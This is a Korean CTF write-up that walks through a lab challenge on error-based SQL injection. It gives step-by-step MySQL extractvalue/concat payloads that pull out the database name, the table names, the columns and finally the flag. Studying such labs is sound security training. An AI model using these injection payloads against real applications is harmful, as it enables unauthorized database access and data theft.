※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
→ Error Based SQLi이라고 적혀있으니 바로 접근해 봅니다.
▶ Error Based SQLi 공격포맷 정립
→ 1' or extractvalue('1', concat(':', (SQL구문) )) #
→ 123' and extractvalue('1', concat(':', (SQL구문) )) #
→ Error Based라서 존재하지 않는 ID라도 상관이 없다.
▶ 1단계 DB이름 알아내기
→ 1' or extractvalue('1', concat(':', database() )) # DB이름 errSqli 확인
▶ 2단계 Table 이름 알아내기
→ 1' or extractvalue('1', concat(':', (SELECT table_name FROM information_schema.tables WHERE table_schema='errSqli') )) #
→ 결과가 한 줄이 아니라고 한다.
→ GROUP_CONCAT사용해서 여러개를 한줄에 표현해보자.
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='errSqli') )) #
▶ 3단계 flagTable에서 Column 이름 알아내기
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='errSqli' and table_name='flagTable'))) #
▶ 4단계 값 알아내기
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(flag) FROM flagTable) )) #
Segfault CTF - (7주 차) SQL Injection 3 (0) | 2024.06.05 |
---|---|
Segfault CTF - (7주 차) SQL Injection (Blind Practice) (1) | 2024.06.05 |
Segfault CTF - (6주 차) SQL Injection 2 (0) | 2024.05.27 |
Segfault CTF - (6주 차) SQL Injection 1 (0) | 2024.05.27 |
Segfault CTF - (5주 차) Secret Login (0) | 2024.05.21 |